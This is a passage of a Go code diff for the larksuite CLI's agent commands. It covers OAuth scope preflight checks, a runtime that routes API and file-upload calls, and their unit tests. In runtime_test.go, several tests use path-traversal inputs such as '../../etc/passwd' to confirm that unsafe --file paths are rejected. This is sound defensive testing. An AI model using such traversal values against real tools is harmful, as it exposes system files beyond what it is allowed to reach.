// token actually carries). Any failure — no client, no published version,
// network / appmeta error — yields nil so the caller skips the check (weak
// dependency, mirroring event's console precheck downgrade). Tests swap it so no
// unit test touches the network.
var botTenantScopes = func(f *cmdutil.Factory) []string {
if f == nil || f.Config == nil {
return nil
}
config, err := f.Config()
if err != nil || config == nil || config.AppID == "" {
return nil
}
apiClient, err := f.NewAPIClient()
if err != nil {
return nil
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
if err != nil || appVer == nil {
return nil
}
return appVer.TenantScopes
}
// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
// the raw JSON body for appmeta to project; any non-typed transport error is
// classified so callers only see typed errs.* values (though botTenantScopes
// treats every error as a no-op anyway).
type appmetaBotClient struct{ client *client.APIClient }
func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
}
return json.RawMessage(resp.RawBody), nil
}

434
cmd/agent/preflight_test.go Normal file
View File

@@ -0,0 +1,434 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"errors"
"reflect"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
// one of fakescopedAllScopes for any real API verb.
func scopedInfo(t *testing.T) iagent.Provider {
t.Helper()
registerScripted()
prov, ok := iagent.Info("fakescoped")
if !ok {
t.Fatal("fakescoped provider should be registered")
}
return prov
}
// requirePreflightError asserts err is the missing_scope permission error
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
// value for field assertions.
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
t.Helper()
if err == nil {
t.Fatal("want missing_scope error, got nil")
}
var pe *errs.PermissionError
if !errors.As(err, &pe) {
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
}
if pe.Subtype != errs.SubtypeMissingScope {
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
}
if code := output.ExitCodeOf(err); code != 3 {
t.Fatalf("exit code should be 3, got %d", code)
}
return pe
}
// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
// user token holding only some of the provider's scopes fails with EVERY missing
// scope named (sorted) in both the message and missing_scopes, and a re-auth
// hint listing ONLY the missing scopes (the open platform authorizes
// incrementally, so re-login with just the missing keeps existing grants — no
// merge needed, mirroring cmd/event).
func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
Provider: scopedInfo(t),
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
t.Errorf("message should list all missing scopes, got %q", ve.Message)
}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
}
// Incremental hint: ONLY the missing scopes (not merged with existing grants).
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
if !strings.Contains(ve.Hint, wantScopeArg) {
t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
}
// And must NOT re-list an already-granted scope.
if strings.Contains(ve.Hint, "im:message") {
t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
}
}
// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
// list (fetch failed / app unpublished → nil), the bot check downgrades to a
// no-op, so the bus/API handshake owns the error.
func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsBot,
TokenScopes: nil,
Provider: scopedInfo(t),
})
if err != nil {
t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
}
}
// TestPreflightBotMissingScopes pins the bot branch: given the app's published
// TenantScopes, a missing scope is reported with the BOT remediation hint (add
// in the developer console + re-publish), NOT a user re-login.
func TestPreflightBotMissingScopes(t *testing.T) {
// Tenant token carries 2 of the 4 fakescoped scopes.
err := preflightScopes(preflightInput{
Identity: core.AsBot,
TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
Provider: scopedInfo(t),
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
}
if ve.Identity != string(core.AsBot) {
t.Errorf("error identity should be bot, got %q", ve.Identity)
}
// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
if strings.Contains(ve.Hint, "auth login") {
t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
}
if !strings.Contains(ve.Hint, "developer console") {
t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
}
}
// TestPreflightBotAllScopesPresent pins the bot happy path.
func TestPreflightBotAllScopesPresent(t *testing.T) {
if err := preflightScopes(preflightInput{
Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
}); err != nil {
t.Errorf("bot with all tenant scopes should pass, got %v", err)
}
}
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
// without a scope list) yields nil so the downstream not_configured /
// need-authorization path owns the error.
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: nil,
Provider: scopedInfo(t),
})
if err != nil {
t.Fatalf("no token scope list should return nil, got %v", err)
}
}
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
// fakescoped scopes passes the all-or-nothing check.
func TestPreflightAllScopesPresent(t *testing.T) {
if err := preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
}); err != nil {
t.Errorf("should pass when all scopes present, got %v", err)
}
}
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
// is missing even a single scope fails, and the reported missing set is exactly
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
// gone).
func TestPreflightMissingAnyScopeFails(t *testing.T) {
// Missing exactly one scope (attachment) → that one scope is reported.
ve := requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{
"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
},
Provider: scopedInfo(t),
}))
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
}
// Only the write scope → the other three are all reported.
ve = requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
}))
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
}
}
// ---------------------------------------------------------------------------
// Command wiring: each verb runs preflight after resolveProvider and before
// any real API call. The stored-scope read goes through the storedUserScopes
// seam so no test touches the real keychain; zero httpmock stubs are
// registered, so any HTTP request would fail the test with a transport error
// instead of the asserted missing_scope.
// ---------------------------------------------------------------------------
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
func swapStoredScopes(t *testing.T, scopes []string) {
t.Helper()
old := storedUserScopes
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
t.Cleanup(func() { storedUserScopes = old })
}
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
// explicitly set to user so ResolveAs honors it verbatim.
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
t.Helper()
parent := &cobra.Command{Use: "lark-cli"}
for _, name := range names {
child := &cobra.Command{Use: name}
parent.AddCommand(child)
parent = child
}
parent.Flags().String("as", "", "identity")
if err := parent.Flags().Set("as", "user"); err != nil {
t.Fatal(err)
}
parent.SetContext(context.Background())
return parent
}
// userFactory builds a test Factory + registry for a user-identity run.
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
t.Helper()
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
return f, reg
}
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
// holds none of the provider's scopes fails with missing_scope
// (reporting the full set) and no request.
func TestSendPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
}
}
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
// still fails the all-or-nothing check, reporting the three scopes it lacks.
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
}
}
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
// scope-free — it succeeds even when the token has none of the provider scopes.
func TestSendDryRunSkipsPreflight(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
})
if err != nil {
t.Fatalf("--dry-run should not run scope preflight: %v", err)
}
}
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
}
}
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
// (resolveDownload path): it too runs the all-or-nothing preflight before the
// API call.
func TestTaskGetArtifactPreflightFires(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
ArtifactID: "art_1", Output: "out.bin",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
}
}
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskListRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
Ref: "fakescoped:agt_x", As: "user",
})
requirePreflightError(t, err)
}
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
// wiring: all three run the all-or-nothing preflight.
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
runs := []struct {
name string
run func(f *cmdutil.Factory) error
}{
{"list", func(f *cmdutil.Factory) error {
return agentContextListRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
})
}},
{"get", func(f *cmdutil.Factory) error {
return agentContextGetRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
})
}},
{"delete", func(f *cmdutil.Factory) error {
return agentContextDeleteRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
})
}},
}
for _, tc := range runs {
t.Run(tc.name, func(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
requirePreflightError(t, tc.run(f))
})
}
}
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
// provider scope set lets the real send proceed (the scripted Send hook fires,
// proving preflight did not false-positive).
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
swapStoredScopes(t, fakescopedAllScopes)
f, _ := userFactory(t)
sent := false
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
sent = true
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
}})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
if err != nil {
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
}
if !sent {
t.Fatal("provider.Send should actually be called after preflight passes")
}
}
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
// gate (fakescoped card declares task_cancel=false) answers before
// provider/preflight, so a scope-missing user token yields
// unsupported_capability, not missing_scope — proving the wired
// preflight does not change the gate-first ordering.
func TestTaskCancelPreflightWired(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
})
if err == nil {
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
}
}
// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
// app-version fetch / network.
func swapBotTenantScopes(t *testing.T, scopes []string) {
t.Helper()
old := botTenantScopes
botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
t.Cleanup(func() { botTenantScopes = old })
}
// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
// storedUserScopes) for a bot identity and blocks a missing scope.
func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
})
ve := requirePreflightError(t, err)
if ve.Identity != string(core.AsBot) {
t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
}
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
}
}
// contains reports whether s appears in the slice.
func contains(ss []string, s string) bool {
for _, x := range ss {
if x == s {
return true
}
}
return false
}

View File

@@ -0,0 +1,11 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
// Provider packages are pure data (no init side effect); the top-level agent
// package's init aggregates and registers them. In production that package is
// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
// the real example scheme (example:echo / example:reporter), so blank-import the
// top-level agent package to run its registration for the test binary.
import _ "github.com/larksuite/cli/agent"

107
cmd/agent/runtime.go Normal file
View File

@@ -0,0 +1,107 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// cmdRuntime is the concrete iagent.Runtime: it routes provider hook calls
// through the shared client.APIClient under a pinned identity (mirrors event's
// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
// the identity resolution, or the response-envelope unwrap — that is exactly the
// plumbing the old Deps struct leaked.
type cmdRuntime struct {
client *client.APIClient
as core.Identity
agentID string
}
func (r *cmdRuntime) AgentID() string { return r.agentID }
func (r *cmdRuntime) IsBot() bool { return r.as == core.AsBot }
func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
var params map[string]interface{}
if len(query) > 0 {
params = make(map[string]interface{}, len(query))
for k, v := range query {
params[k] = v
}
}
return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
}
func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagent.FilePart) (json.RawMessage, error) {
fd := larkcore.NewFormdata()
for k, v := range fields {
fd.AddField(k, v)
}
for _, fp := range files {
// SafeInputPath is the framework-owned security check (no path traversal /
// outside CWD); a provider must never re-implement it.
resolved, err := validate.SafeInputPath(fp.Path)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
WithParam("--file").WithCause(err)
}
f, err := vfs.Open(resolved)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
WithParam("--file").WithCause(err)
}
// Closed when CallMultipart returns, i.e. after do()'s request has read the
// body — deferring in the loop keeps every file open for the request.
defer f.Close()
fd.AddFile(fp.Field, f)
}
return r.do(ctx, client.RawApiRequest{
Method: method, URL: path, Data: fd, As: r.as,
ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
})
}
// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
// out; any non-typed transport error is classified here so hooks only ever see
// typed errs.* values.
func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
resp, err := r.client.DoAPI(ctx, req)
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
}
result, err := client.ParseJSONResponse(resp)
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
}
if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
return nil, apiErr
}
top, _ := result.(map[string]interface{})
dataVal, ok := top["data"]
if !ok || dataVal == nil {
return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
}
raw, err := json.Marshal(dataVal)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
}
return raw, nil
}

207
cmd/agent/runtime_test.go Normal file
View File

@@ -0,0 +1,207 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"errors"
"io"
"net/http"
"strings"
"testing"
lark "github.com/larksuite/oapi-sdk-go/v3"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
)
// staticTokenResolver always returns a fixed token without any HTTP call.
type staticTokenResolver struct{}
func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
return &credential.TokenResult{Token: "test-token"}, nil
}
// stubRoundTripper intercepts every outgoing request with a canned response.
type stubRoundTripper struct {
respond func(*http.Request) (*http.Response, error)
}
func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
// pinned to as; agentID is fixed.
func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
sdk := lark.NewClient("test-app", "test-secret",
lark.WithEnableTokenCache(false),
lark.WithLogLevel(larkcore.LogLevelError),
lark.WithHttpClient(&http.Client{Transport: rt}),
)
return &cmdRuntime{
client: &client.APIClient{
SDK: sdk,
ErrOut: io.Discard,
Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
Config: &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
},
as: as,
agentID: agentID,
}
}
func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
return func(r *http.Request) (*http.Response, error) {
return &http.Response{
StatusCode: status,
Header: http.Header{"Content-Type": []string{"application/json"}},
Body: io.NopCloser(strings.NewReader(body)),
Request: r,
}, nil
}
}
// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
// surfaced only via IsBot() (never the raw client), and AgentID echoes the
// addressed agent.
func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
if !bot.IsBot() {
t.Error("bot runtime should report IsBot()=true")
}
if bot.AgentID() != "agt_1" {
t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
}
usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
if usr.IsBot() {
t.Error("user runtime should report IsBot()=false")
}
}
// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
// returns the raw "data" object (not the whole envelope), and the typed Call[T]
// helper decodes that raw data into a struct.
func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
if err != nil {
t.Fatalf("CallAPI should succeed: %v", err)
}
var data map[string]any
if err := json.Unmarshal(raw, &data); err != nil {
t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
}
if data["task_id"] != "t1" || data["state"] != "completed" {
t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
}
// The typed Call[T] helper decodes that same raw data into a struct — no
// map[string]any assertions at the call site.
got, err := iagent.Call[struct {
TaskID string `json:"task_id"`
State string `json:"state"`
}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
if err != nil {
t.Fatalf("Call[T] should succeed: %v", err)
}
if got.TaskID != "t1" || got.State != "completed" {
t.Errorf("Call[T] should decode data into the struct, got %+v", got)
}
}
// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
// (CheckResponse), not a silent success.
func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
t.Fatal("a non-zero API code should surface as an error")
} else if _, ok := errs.ProblemOf(err); !ok {
t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
}
}
// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
// RoundTrip failure is classified as a network transport error.
func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
return nil, errors.New("dial refused")
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
if err == nil {
t.Fatal("a transport error should propagate")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Category != errs.CategoryNetwork {
t.Fatalf("transport error should be a network error, got %+v", p)
}
}
// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
// traversal path is rejected as invalid_argument (param --file) and NO request
// is issued (the transport panics if reached).
func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
t.Fatal("no request should be issued when the --file path is unsafe")
return nil, nil
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
map[string]string{"type": "file"},
[]iagent.FilePart{{Field: "file", Path: bad}})
if err == nil {
t.Fatalf("an unsafe --file path %q should be rejected", bad)
}
if !errs.IsValidation(err) {
t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
}
var ve *errs.ValidationError
if !errors.As(err, &ve) || ve.Param != "--file" {
t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
}
}
}
// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
// --file path, CallUpload propagates that validation error and returns the zero
// value of T without attempting a decode. Mirrors the Call[T] coverage in
// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
// are exercised, not just the JSON one.
func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
t.Fatal("no request should be issued when the --file path is unsafe")
return nil, nil
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
got, err := iagent.CallUpload[struct {
AttachmentID string `json:"attachment_id"`
}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
map[string]string{"type": "file"},
[]iagent.FilePart{{Field: "file", Path: "/etc/hosts"}})
if err == nil {
t.Fatal("CallUpload with an unsafe --file path should error")
}
if !errs.IsValidation(err) {
t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
}
if got.AttachmentID != "" {
t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
}
}

View File

@@ -0,0 +1,136 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"sync"
"testing"
iagent "github.com/larksuite/cli/internal/agent"
)
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
// a test reaching an unexpected provider path. The command-layer contracts under
// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
type scriptedHooks struct {
send func(in iagent.SendInput) (*iagent.AgentTask, error)
getTask func(taskID string) (*iagent.AgentTask, error)
listTasks func(contextID string) ([]iagent.TaskSummary, error)
listContexts func() ([]iagent.ContextSummary, error)
getContext func(ctxID string) (*iagent.ContextDetail, error)
deleteContext func(ctxID string) error
downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
}
// scripted is the package-level hook set shared by every scripted instance (the
// registered provider is fixed per package run, the hooks can be re-pointed).
var scripted scriptedHooks
// setScripted installs the hooks for one test and restores the empty (panic
// tripwire) set on cleanup.
func setScripted(t *testing.T, h scriptedHooks) {
t.Helper()
scripted = h
t.Cleanup(func() { scripted = scriptedHooks{} })
}
// scriptedSpec is the instance template whose capability surface is fixed by
// which hooks are wired: CancelTask is deliberately left UNWIRED so
// task_cancel=false (the cancel gate is exercised via example:echo); everything
// else the command tests drive is wired, and FileInput=true so the --file
// gate/confirm path is reachable. Each wired hook delegates to the per-test hook
// and panics if it was not set.
func scriptedSpec() *iagent.AgentSpec {
return &iagent.AgentSpec{
FileInput: true,
Send: func(_ context.Context, _ iagent.Runtime, in iagent.SendInput) (*iagent.AgentTask, error) {
if scripted.send == nil {
panic("scripted provider: Send hook not set")
}
return scripted.send(in)
},
